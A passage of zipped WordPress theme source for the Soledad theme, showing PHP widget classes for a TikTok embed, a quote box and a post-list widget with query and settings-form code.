                <input class="widefat pcwoo-color-picker color-picker"
                       id="<?php echo $this->get_field_id( 'btnbghcolor' ); ?>"
                       name="<?php echo $this->get_field_name( 'btnbghcolor' ); ?>" type="text"
                       value="<?php echo $instance['btnbghcolor']; ?>"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ch' ) ); ?>">Custom Height</label>
                <input type="number" class="widefat"
                       id="<?php echo esc_attr( $this->get_field_id( 'ch' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'ch' ) ); ?>"
                       value="<?php echo $instance['ch']; ?>">
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'fzinput' ) ); ?>">Font Size for Input
                    Text</label>
                <input type="number" class="widefat"
                       id="<?php echo esc_attr( $this->get_field_id( 'fzinput' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'fzinput' ) ); ?>"
                       value="<?php echo $instance['fzinput']; ?>">
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'fzbtn' ) ); ?>">Font Size for Button/Icon</label>
                <input type="number" class="widefat"
                       id="<?php echo esc_attr( $this->get_field_id( 'fzbtn' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'fzbtn' ) ); ?>"
                       value="<?php echo $instance['fzbtn']; ?>">
            </p>

			<?php
		}
	}
}
?>
PK     2w\ Q  Q    widgets/tiktok_embed.phpnu [        <?php

add_action( 'widgets_init', 'penci_tiktok_embed_load_widget' );

function penci_tiktok_embed_load_widget() {
	register_widget( 'penci_tiktok_embed_widget' );
}

if ( ! class_exists( 'penci_tiktok_embed_widget' ) ) {
	class penci_tiktok_embed_widget extends WP_Widget {

		/**
		 * Widget setup.
		 */
		function __construct() {
			/* Widget settings. */
			$widget_ops = array(
				'classname'   => 'penci_tiktok_embed_widget',
				'description' => esc_html__( 'A widget that displays the user TikTok embed iframe.', 'soledad' )
			);

			/* Widget control settings. */
			$control_ops = array( 'width' => 250, 'height' => 350, 'id_base' => 'penci_tiktok_embed_widget' );

			/* Create the widget. */ global $wp_version;
			if ( 4.3 > $wp_version ) {
				$this->WP_Widget( 'penci_tiktok_embed_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Penci TikTok Feed', 'soledad' ), $widget_ops, $control_ops );
			} else {
				parent::__construct( 'penci_tiktok_embed_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Penci TikTok Feed', 'soledad' ), $widget_ops, $control_ops );
			}
		}

		/**
		 * How to display the widget on the screen.
		 */
		function widget( $args, $instance ) {
			extract( $args );

			/* Our variables from the widget settings. */
			$title    = isset( $instance['title'] ) ? $instance['title'] : '';
			$title    = apply_filters( 'widget_title', $title );
			$username = isset( $instance['username'] ) ? $instance['username'] : '';
			$width    = isset( $instance['width'] ) ? $instance['width'] : 280;


			/* Before widget (defined by themes). */
			echo ent2ncr( $before_widget );

			/* Display the widget title if one was input (before and after defined by themes). */
			if ( $title ) {
				echo ent2ncr( $before_title ) . $title . ent2ncr( $after_title );
			}

			if ( $username ) {

				?>

                <blockquote class="tiktok-embed" cite="https://www.tiktok.com/@<?php echo esc_attr( $username ); ?>"
                            data-unique-id="<?php echo esc_attr( $username ); ?>"
                            data-embed-type="creator"
                            style="width: 100%; max-width: <?php echo esc_attr( $width ); ?>px;">
                    <section><a target="_blank"
                                href="https://www.tiktok.com/@<?php echo esc_attr( $username ); ?>">@<?php echo esc_attr( $username ); ?></a>
                    </section>
                </blockquote>

				<?php

				wp_enqueue_script( 'penci_tiktok_embed' );
			} else {
				_e( 'Please enter Tiktok username', 'soledad' );
			}

			/* After widget (defined by themes). */
			echo ent2ncr( $after_widget );

		}

		/**
		 * Update the widget settings.
		 */
		function update( $new_instance, $old_instance ) {
			$instance = $old_instance;

			$data_instance = $this->soledad_widget_defaults();

			foreach ( $data_instance as $data => $value ) {
				$instance[ $data ] = ! empty( $new_instance[ $data ] ) ? $new_instance[ $data ] : '';
			}

			return $instance;
		}

		public function soledad_widget_defaults() {
			return array(
				'title'    => esc_html__( 'TikTok Feed', 'soledad' ),
				'username' => '',
				'width'    => 280,
			);
		}


		function form( $instance ) {

			/* Set up some default widget settings. */
			$defaults       = $this->soledad_widget_defaults();
			$instance       = wp_parse_args( (array) $instance, $defaults );
			$instance_title = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
			?>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title', 'soledad' ) ?></label>
                <input id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
                       value="<?php echo esc_attr( $instance_title ); ?>" class="widefat" type="text"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'username' ) ); ?>"><?php esc_html_e( 'Tiktok Username ( Without @ )', 'soledad' ) ?></label>
                <input id="<?php echo esc_attr( $this->get_field_id( 'username' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'username' ) ); ?>"
                       value="<?php echo esc_attr( $instance['username'] ); ?>" class="widefat" type="text"/>
            </p>


            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'width' ) ); ?>"><?php esc_html_e( 'Custom Width (px)', 'soledad' ) ?></label>
                <input id="<?php echo esc_attr( $this->get_field_id( 'width' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'width' ) ); ?>"
                       value="<?php echo esc_attr( $instance['width'] ); ?>" class="widefat" type="number"/>
            </p>

			<?php
		}
	}
}
?>
PK     2w\O⡳$  $    widgets/quote_widget.phpnu [        <?php
/**
 * Block quote widget in sidebar
 * Display your quote on footer or sidebar
 *
 * @package Wordpress
 * @since   1.0
 */

add_action( 'widgets_init', 'penci_quote_load_widget' );

function penci_quote_load_widget() {
	register_widget( 'penci_quote_widget' );
}

if ( ! class_exists( 'penci_quote_widget' ) ) {
	class penci_quote_widget extends WP_Widget {

		/**
		 * Widget setup.
		 */
		function __construct() {
			/* Widget settings. */
			$widget_ops = array(
				'classname'   => 'penci_quote_widget',
				'description' => esc_html__( 'A widget that displays an quote widget on your sidebar', 'soledad' )
			);

			/* Widget control settings. */
			$control_ops = array( 'id_base' => 'penci_quote_widget' );

			/* Create the widget. */
			global $wp_version;
			if ( 4.3 > $wp_version ) {
				$this->WP_Widget( 'penci_quote_widget', penci_get_theme_name('.Soledad',true).esc_html__( 'Quote', 'soledad' ), $widget_ops, $control_ops );
			} else {
				parent::__construct( 'penci_quote_widget', penci_get_theme_name('.Soledad',true).esc_html__( 'Quote', 'soledad' ), $widget_ops, $control_ops );
			}
		}

		/**
		 * How to display the widget on the screen.
		 */
		function widget( $args, $instance ) {
			extract( $args );

			/* Our variables from the widget settings. */
			$title       = isset( $instance['title'] ) ? $instance['title'] : '';
			$title       = apply_filters( 'widget_title', $title );
			$description = isset( $instance['description'] ) ? $instance['description'] : '';

			/* Before widget (defined by themes). */
			echo ent2ncr( $before_widget );

			/* Display the widget title if one was input (before and after defined by themes). */
			if ( $title ) {
				echo ent2ncr( $before_title ) . $title . ent2ncr( $after_title );
			}

			?>

			<?php if ( $description ) : ?>
                <div class="quote-widget">
					<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
                    <p><?php echo do_shortcode( $description ); ?></p>
                </div>
			<?php endif; ?>

			<?php

			/* After widget (defined by themes). */
			echo ent2ncr( $after_widget );
		}

		/**
		 * Update the widget settings.
		 */
		function update( $new_instance, $old_instance ) {
			$instance = $old_instance;

			$data_instance = $this->soledad_widget_defaults();

			foreach ( $data_instance as $data => $value ) {
				$instance[ $data ] = ! empty( $new_instance[ $data ] ) ? $new_instance[ $data ] : '';
			}

			return $instance;
		}

		public function soledad_widget_defaults() {
			$defaults = array( 'title' => 'Quote', 'description' => '' );

			return $defaults;
		}


		function form( $instance ) {

			/* Set up some default widget settings. */
			$defaults       = $this->soledad_widget_defaults();
			$instance       = wp_parse_args( (array) $instance, $defaults );
			$instance_title = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
			?>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title:', 'soledad' ); ?></label>
                <input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
                       value="<?php echo $instance_title; ?>"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'description' ) ); ?>"><?php esc_html_e( 'Quote content text:', 'soledad' ); ?></label>
                <textarea class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'description' ) ); ?>"
                          name="<?php echo esc_attr( $this->get_field_name( 'description' ) ); ?>"
                          rows="6"><?php echo esc_textarea( $instance['description'] ); ?></textarea>
            </p>


			<?php
		}
	}
}

?>
PK     2w\
{U  U  $  widgets/stylisted_articles_count.phpnu [        <?php
/**
 * Stylisted Articles Count widget
 * Get recent posts and display in widget
 *
 * @package Soledad
 * @since 1.0
 */

add_action( 'widgets_init', 'penci_stylisted_articles_count_load_widget' );

function penci_stylisted_articles_count_load_widget() {
	register_widget( 'penci_stylisted_articles_widget' );
}

if ( ! class_exists( 'penci_stylisted_articles_widget' ) ) {
	class penci_stylisted_articles_widget extends WP_Widget {

		/**
		 * Widget setup.
		 */
		function __construct() {
			/* Widget settings. */
			$widget_ops = array(
				'classname'   => 'penci_stylisted_articles_widget',
				'description' => esc_html__( 'A widget that displays your recent posts from all categories or a category', 'soledad' )
			);

			/* Widget control settings. */
			$control_ops = array( 'id_base' => 'penci_stylisted_articles_widget' );

			/* Create the widget. */
			global $wp_version;
			if ( 4.3 > $wp_version ) {
				$this->WP_Widget( 'penci_stylisted_articles_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Stylisted Articles Count', 'soledad' ), $widget_ops, $control_ops );
			} else {
				parent::__construct( 'penci_stylisted_articles_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Stylisted Articles Count', 'soledad' ), $widget_ops, $control_ops );
			}
		}

		/**
		 * How to display the widget on the screen.
		 */
		function widget( $args, $instance ) {
			extract( $args );
			wp_enqueue_script( 'penci_widgets_ajax' );

			/* Our variables from the widget settings. */
			$title      = isset( $instance['title'] ) ? $instance['title'] : '';
			$title      = apply_filters( 'widget_title', $title );
			$categories = isset( $instance['categories'] ) ? $instance['categories'] : '';
			$orderby    = isset( $instance['orderby'] ) ? $instance['orderby'] : 'date';
			$order      = isset( $instance['order'] ) ? $instance['order'] : 'DESC';
			$metakey    = isset( $instance['metakey'] ) ? $instance['metakey'] : '';
			$number     = isset( $instance['number'] ) ? $instance['number'] : '';
			$offset     = isset( $instance['offset'] ) ? $instance['offset'] : '';
			$ptype      = isset( $instance['ptype'] ) ? $instance['ptype'] : '';
			if ( ! $ptype ): $ptype = 'post'; endif;
			$taxonomy     = isset( $instance['taxonomy'] ) ? $instance['taxonomy'] : '';
			$tax_ids      = isset( $instance['tax_ids'] ) ? $instance['tax_ids'] : 'tax_ids';
			$sticky       = isset( $instance['sticky'] ) ? $instance['sticky'] : true;
			$sticky_value = ( false == $sticky ) ? 0 : 1;
			$title_length = isset( $instance['title_length'] ) ? $instance['title_length'] : '';
			$postdate     = isset( $instance['postdate'] ) ? $instance['postdate'] : false;
			$image_type   = isset( $instance['image_type'] ) ? $instance['image_type'] : 'default';
			$ptfsfe       = isset( $instance['ptfsfe'] ) ? absint( $instance['ptfsfe'] ) : '';
			$ptfs         = isset( $instance['ptfs'] ) ? absint( $instance['ptfs'] ) : '';
			$pmfs         = isset( $instance['pmfs'] ) ? absint( $instance['pmfs'] ) : '';
			$row_gap      = isset( $instance['row_gap'] ) ? absint( $instance['row_gap'] ) : '';
			$imgwidth     = isset( $instance['imgwidth'] ) ? absint( $instance['imgwidth'] ) : '';
			$showauthor   = isset( $instance['show_author'] ) ? $instance['show_author'] : false;
			$showcomment  = isset( $instance['show_comment'] ) ? $instance['show_comment'] : false;
			$showviews    = isset( $instance['show_postviews'] ) ? $instance['show_postviews'] : false;
			$showborder   = isset( $instance['showborder'] ) ? $instance['showborder'] : false;
			$cats_id      = ! empty( $instance['cats_id'] ) ? explode( ',', $instance['cats_id'] ) : array();
			$tags_id      = ! empty( $instance['tags_id'] ) ? explode( ',', $instance['tags_id'] ) : array();
			$nbfs_big     = ! empty( $instance['nbfs_big'] ) ? $instance['nbfs_big'] : '';
			$nbfs         = ! empty( $instance['nbfs'] ) ? $instance['nbfs'] : '';

			$query = array(
				'posts_per_page'      => $number,
				'post_type'           => $ptype,
				'ignore_sticky_posts' => $sticky_value
			);

			if ( 'post' == $ptype ) {
				if ( isset( $instance['cats_id'] ) ) {
					if ( ! empty( $cats_id ) && ! in_array( 'all', $cats_id ) ) {
						$query['category__in'] = $cats_id;
					}
				} else {
					$term_name = get_cat_name( $categories );
					$term      = term_exists( $term_name, 'category' );

					if ( $term !== 0 && $term !== null ) {
						$query['cat'] = $categories;
					}
				}

				if ( ! empty( $tags_id ) ) {
					if ( ! in_array( 'all', $tags_id ) ) {
						$query['tag__in'] = $tags_id;
					}
				}
			}

			if ( $orderby == 'week' ) {
				$query['meta_key']     = 'penci_post_week_views_count';
				$query['orderby']       = 'meta_value_num';
			} elseif ( $orderby == 'month' ) {
				$query['meta_key']     = 'penci_post_month_views_count';
				$query['orderby']       = 'meta_value_num';
			} elseif ( $orderby == 'jetpack' ) {
				$query['meta_key']     = '_jetpack_post_view';
				$query['orderby']       = 'meta_value_num';
			} elseif ( $orderby == 'all' ) {
				$query['meta_key']     = penci_get_postviews_key();
				$query['orderby']       = 'meta_value_num';
			} elseif ( $orderby == 'metakey' && $metakey ) {
				$query['meta_key']     = $metakey;
				$query['orderby']      = 'meta_value_num';
			} elseif ( $orderby ) {
				$query['orderby'] = $orderby;
			}


			if ( $order ) {
				$query['order'] = $order;
			}
			if ( $offset ) {
				$query['offset'] = $offset;
			}

			if ( $taxonomy && ( 'post' != $ptype ) ) {
				$taxonomy  = str_replace( ' ', '', $taxonomy );
				$tax_array = explode( ',', $taxonomy );

				foreach ( $tax_array as $tax ) {
					$tax_ids_array = array();
					if ( $tax_ids ) {
						$tax_ids       = str_replace( ' ', '', $tax_ids );
						$tax_ids_array = explode( ',', $tax_ids );
					} else {
						$get_all_terms = get_terms( $tax );
						if ( ! empty( $get_all_terms ) ) {
							foreach ( $get_all_terms as $term ) {
								$tax_ids_array[] = $term->term_id;
							}
						}
					}

					if ( ! empty( $tax_ids_array ) ) {
						$query['tax_query'][] = array(
							'taxonomy' => $tax,
							'field'    => 'term_id',
							'terms'    => $tax_ids_array
						);
					}
				}
			}

			$loop = new WP_Query( $query );
			if ( $loop->have_posts() ) :

				/* Before widget (defined by themes). */
				echo ent2ncr( $before_widget );

				/* Display the widget title if one was input (before and after defined by themes). */
				if ( $title ) {
					echo ent2ncr( $before_title ) . $title . ent2ncr( $after_title );
				}

				$rand          = rand( 1000, 10000 );
				$data_settings = $instance;
				unset( $data_settings['title'] );

				$thumb = 'penci-thumb-masonry';

				if ( $image_type == 'horizontal' ) {
					$thumb = 'penci-thumb-small';
				} elseif ( $image_type == 'square' ) {
					$thumb = 'penci-thumb-square';
				} elseif ( $image_type == 'vertical' ) {
					$thumb = 'penci-thumb-vertical';
				}

				get_template_part( 'inc/templates/popular_posts', '', [
					'loop'         => $loop,
					'class'        => 'demo',
					'showauthor'   => $showauthor,
					'postdate'     => $postdate,
					'showviews'    => $showviews,
					'showcomment'  => $showcomment,
					'title_length' => $title_length,
					'thumb'        => $thumb,
					'id'           => 'pcstylisted-acount-' . sanitize_text_field( $rand ),
					'data_attr'    => 'data-mes="' . penci_get_setting( 'penci_trans_no_more_posts' ) . '" data-max="' . esc_attr( $loop->max_num_pages ) . '" data-settings=\'' . json_encode( $data_settings ) . '\' data-paged="1" data-action="penci_stylisted_articles_count_ajax"',
				] );

				if ( isset( $instance['ajaxnav'] ) && $instance['ajaxnav'] == 'btn' ) {
					?>
                    <div class="penci-pagination penci-ajax-more pcwg-lposts">
                        <a class="penci-ajax-more-button penci-wgajx-btn"
                           href="#" aria-label="More Posts">
                            <span class="ajax-more-text"><?php echo penci_get_setting( 'penci_trans_load_more_posts' ); ?></span><span
                                    class="ajaxdot"></span><i
                                    class="penci-faicon fa fa-refresh"></i> </a>
                    </div>
					<?php
				} else if ( isset( $instance['ajaxnav'] ) && $instance['ajaxnav'] == 'nav' ) { ?>
                    <div class="penci-pagination penci-ajax-nav pcwg-lposts">
                        <span class="pcajx-btn penci-wgajx-btn prev disable"><?php echo penci_icon_by_ver( 'penciicon-left-chevron' ) . ' <span class="pcnav-title">' . penci_get_setting( 'penci_trans_back' ); ?></span></span>
                        <span class="pcajx-btn penci-wgajx-btn next"><span
                                    class="pcnav-title"><?php echo penci_get_setting( 'penci_trans_next' ) . '</span>' . penci_icon_by_ver( 'penciicon-right-chevron' ); ?></span>
                    </div>
					<?php
				}
				if ( isset( $instance['ajaxnav'] ) && $instance['ajaxnav'] ) {
					?>
                    <div class="pcwgajx-ld-wrapper">
						<?php echo penci_get_html_animation_loading( 'df' ); ?>
                    </div>
					<?php
				}
				$attrstyle = '';
				if ( $ptfsfe ) {
					$attrstyle .= '.widget ul#pcstylisted-acount-' . $rand . ' .popularpost_item.first .pcpopular_new_post_title{ font-size: ' . $ptfsfe . 'px; }';
				}
				if ( $ptfs ) {
					$attrstyle .= '.widget ul#pcstylisted-acount-' . $rand . ' .popularpost_item .pcpopular_new_post_title{ font-size: ' . $ptfs . 'px; }';
				}
				if ( $pmfs ) {
					$attrstyle .= '.widget ul#pcstylisted-acount-' . $rand . ' .popularpost_meta{ font-size: ' . $pmfs . 'px; }';
				}
				if ( $row_gap ) {
					$attrstyle .= '.widget ul#pcstylisted-acount-' . $rand . ' ul li{ margin-bottom: ' . $row_gap . 'px; padding-bottom: ' . $row_gap . 'px; }';
				}
				if ( $nbfs ) {
					$attrstyle .= '.widget ul#pcstylisted-acount-' . $rand . ' .popularpost_item .pcpopular_new_post_title a:before{ font-size: ' . $nbfs . 'px; }';
				}
				if ( $nbfs_big ) {
					$attrstyle .= '.widget ul#pcstylisted-acount-' . $rand . ' .popularpost_item.first .pcpopular_new_post_title a::before, .widget ul#pcstylisted-acount-' . $rand . ' .popularpost_item.first:hover .pcpopular_new_post_title a::before{ font-size: ' . $nbfs_big . 'px; }';
				}
				if ( $image_type == 'horizontal' ) {
					$attrstyle .= '#pcstylisted-acount-' . $rand . ' .penci-image-holder:before{ padding-top: 66.6667%; }';
				} elseif ( $image_type == 'square' ) {
					$attrstyle .= '#pcstylisted-acount-' . $rand . ' .penci-image-holder:before{ padding-top: 100%; }';
				} elseif ( $image_type == 'vertical' ) {
					$attrstyle .= '#pcstylisted-acount-' . $rand . ' .penci-image-holder:before{ padding-top: 135.4%; }';
				}

				if ( $attrstyle ) {
					echo '<style>' . $attrstyle . '</style>';
				}

				/* After widget (defined by themes). */
				echo ent2ncr( $after_widget );

				wp_reset_postdata();
			endif;
		}

		/**
		 * Update the widget settings.
		 */
		function update( $new_instance, $old_instance ) {
			$instance = $old_instance;

			$data_instance = $this->soledad_widget_defaults();

			foreach ( $data_instance as $data => $value ) {
				$instance[ $data ] = ! empty( $new_instance[ $data ] ) ? $new_instance[ $data ] : '';
			}

			if ( ! empty( $new_instance['cats_id'] ) ) {
				if ( is_array( $new_instance['cats_id'] ) ) {
					$instance['cats_id'] = implode( ',', $new_instance['cats_id'] );
				} else {
					$instance['cats_id'] = esc_sql( $new_instance['cats_id'] );
				}
			} else {
				$instance['cats_id'] = false;
			}

			if ( ! empty( $new_instance['tags_id'] ) ) {
				if ( is_array( $new_instance['tags_id'] ) ) {
					$instance['tags_id'] = implode( ',', $new_instance['tags_id'] );
				} else {
					$instance['tags_id'] = esc_sql( $new_instance['tags_id'] );
				}
			} else {
				$instance['tags_id'] = false;
			}

			return $instance;
		}

		public function soledad_widget_defaults() {
			$defaults = array(
				'title'          => esc_html__( 'Stylisted Articles Count', 'soledad' ),
				'hide_thumb'     => false,
				'movemeta'       => false,
				'ptype'          => '',
				'taxonomy'       => '',
				'tax_ids'        => '',
				'dotstyle'       => '',
				'sticky'         => true,
				'show_author'    => false,
				'show_comment'   => false,
				'show_postviews' => false,
				'showborder'     => false,
				'row_gap'        => '',
				'ptfsfe'         => '',
				'ptfs'           => '',
				'orderby'        => 'date',
				'order'          => 'DESC',
				'pmfs'           => '',
				'image_type'     => 'default',
				'title_length'   => '',
				'number'         => 5,
				'offset'         => '',
				'categories'     => '',
				'ajaxnav'        => '',
				'metakey'        => '',
				'postdate'       => false,
				'nbfs_big'       => '',
				'nbfs'           => '',
			);

			return $defaults;
		}

		function form( $instance ) {

			/* Set up some default widget settings. */
			$defaults = $this->soledad_widget_defaults();

			$cats_id = array();
			$tags_id = array();

			if ( isset( $instance['cats_id'] ) && ! empty( $instance['cats_id'] ) ) {
				$cats_id = explode( ',', $instance['cats_id'] );
			}
			if ( isset( $instance['tags_id'] ) && ! empty( $instance['tags_id'] ) ) {
				$tags_id = explode( ',', $instance['tags_id'] );
			}

			$instance = wp_parse_args( (array) $instance, $defaults );

			$instance_title = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
			?>
            <style>span.description {
                    font-style: italic;
                    font-size: 13px;
                }</style>
            <!-- Widget Title: Text Input -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
                       value="<?php echo $instance_title; ?>"/>
            </p>

            <!-- Category -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'cats_id' ) ); ?>"><?php esc_html_e( 'Include Categories:', 'soledad' ); ?></label>
                <select multiple="multiple" id="<?php echo esc_attr( $this->get_field_id( 'cats_id' ) ); ?>[]"
                        name="<?php echo esc_attr( $this->get_field_name( 'cats_id' ) ); ?>[]"
                        class="widefat categories" style="width:100%; height: 125px;">
                    <option value='all' <?php if ( in_array( 'all', $cats_id ) ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'All categories', 'soledad' ); ?></option>
					<?php $categories = get_categories( 'hide_empty=0&depth=1&type=post' ); ?>
					<?php foreach ( $categories as $category ) { ?>
                        <option value='<?php echo esc_attr( $category->term_id ); ?>' <?php if ( in_array( $category->term_id, $cats_id ) ) {
							echo 'selected="selected"';
						} ?>><?php echo sanitize_text_field( $category->name ); ?></option>
					<?php } ?>
                </select>
                <span class="description"><?php _e( 'Hold the "Ctrl" on the keyboard and click to select/un-select multiple categories.', 'soledad' ); ?></span>
            </p>

            <!-- Tags -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'tags_id' ) ); ?>"><?php esc_html_e( 'Include Tags:', 'soledad' ); ?></label>
                <select multiple="multiple" id="<?php echo esc_attr( $this->get_field_id( 'tags_id' ) ); ?>[]"
                        name="<?php echo esc_attr( $this->get_field_name( 'tags_id' ) ); ?>[]"
                        class="widefat categories" style="width:100%; height: 125px;">
                    <option value='all' <?php if ( in_array( 'all', $tags_id ) ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'All tags', 'soledad' ); ?></option>
					<?php $tags = get_tags( 'hide_empty=0&depth=1&type=post' ); ?>
					<?php foreach ( $tags as $tag ) { ?>
                        <option value='<?php echo esc_attr( $tag->term_id ); ?>' <?php if ( in_array( $tag->term_id, $tags_id ) ) {
							echo 'selected="selected"';
						} ?>><?php echo sanitize_text_field( $tag->name ); ?></option>
					<?php } ?>
                </select>
                <span class="description"><?php _e( 'Hold the "Ctrl" on the keyboard and click to select/un-select multiple tags.', 'soledad' ); ?></span>
            </p>

            <!-- Custom Post Type -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ptype' ) ); ?>"><?php esc_html_e( 'Query for Custom Post Type:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'ptype' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'ptype' ) ); ?>" class="widefat categories"
                        style="width:100%;">
                    <option value='' <?php if ( '' == $instance['ptype'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( '- Default( Posts ) -', 'soledad' ); ?></option>
					<?php $all_post_types = get_post_types( array(
						'public'            => true,
						'show_in_nav_menus' => true
					), 'objects' );
					unset( $all_post_types['post'] );
					if ( ! empty( $all_post_types ) ) {
						foreach ( $all_post_types as $p_type => $ptobject ) {
							?>
                            <option value='<?php echo esc_attr( $p_type ); ?>' <?php if ( $p_type == $instance['ptype'] ) {
								echo 'selected="selected"';
							} ?>><?php echo $ptobject->label; ?></option>
						<?php }
					}
					?>
                </select>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'taxonomy' ) ); ?>"><?php esc_html_e( 'Custom taxonomies to query:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'taxonomy' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'taxonomy' ) ); ?>"
                       value="<?php echo esc_attr( $instance['taxonomy'] ); ?>" size="3"/>
                <span class="description"><?php _e( 'Fill taxonomy slug(s) here. Separate by commas to query multiple taxonomies. Check <a href="https://imgresources.s3.amazonaws.com/custom-taxonomy.png" style="color: #007cba;" target="_blank">this image</a> for understand more.', 'soledad' ); ?></span>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'tax_ids' ) ); ?>"><?php esc_html_e( 'Taxonomy IDs to query:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'tax_ids' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'tax_ids' ) ); ?>"
                       value="<?php echo esc_attr( $instance['tax_ids'] ); ?>" size="3"/>
                <span class="description"><?php _e( 'Fill taxonomy ID(s) here. Separate by commas to query multiple taxonomies. Check <a href="https://imgresources.s3.amazonaws.com/custom-taxonomy.png" style="color: #007cba;" target="_blank">this image</a> for understand more.', 'soledad' ); ?></span>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'sticky' ) ); ?>"><?php esc_html_e( 'Ignore Sticky Posts?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'sticky' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'sticky' ) ); ?>" <?php checked( (bool) $instance['sticky'], true ); ?> /><br>
                <span class="description"><?php _e( 'Note that: Ignore sticky posts doesn\'t work if you filter your posts by a taxonomy or multiple taxonomies (categories, tags... ) - because it doesn\'t support by WordPress itself.', 'soledad' ); ?></span>
            </p>

            <!-- Image Size -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'image_type' ) ); ?>"><?php esc_html_e( 'Featured Images Type:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'image_type' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'image_type' ) ); ?>"
                        class="widefat image_type" style="width:100%;">
                    <option value='default' <?php if ( 'default' == $instance['image_type'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Default ( follow on Customize )', 'soledad' ); ?></option>
                    <option value='horizontal' <?php if ( 'horizontal' == $instance['image_type'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Horizontal Size', 'soledad' ); ?></option>
                    <option value='square' <?php if ( 'square' == $instance['image_type'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Square Size', 'soledad' ); ?></option>
                    <option value='vertical' <?php if ( 'vertical' == $instance['image_type'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Vertical Size', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Order by -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'orderby' ) ); ?>"><?php esc_html_e( 'Order By:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'orderby' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'orderby' ) ); ?>" class="widefat orderby"
                        style="width:100%;">
                    <option value='date' <?php if ( 'date' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Published Date', 'soledad' ); ?></option>
                    <option value='ID' <?php if ( 'ID' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Posts ID', 'soledad' ); ?></option>
                    <option value='title' <?php if ( 'title' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Posts Titles', 'soledad' ); ?></option>
                    <option value='modified' <?php if ( 'modified' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Modified Date', 'soledad' ); ?></option>
                    <option value='comment_count' <?php if ( 'comment_count' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Comment Count', 'soledad' ); ?></option>
                    <option value='rand' <?php if ( 'rand' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Random', 'soledad' ); ?></option>
					<option value='all' <?php if ( 'all' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Most Viewed Posts All Time', 'soledad' ); ?></option>
					<option value='week' <?php if ( 'week' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Most Viewed Posts Weekly', 'soledad' ); ?></option>
					<option value='month' <?php if ( 'month' == $instance['orderby'] ) {
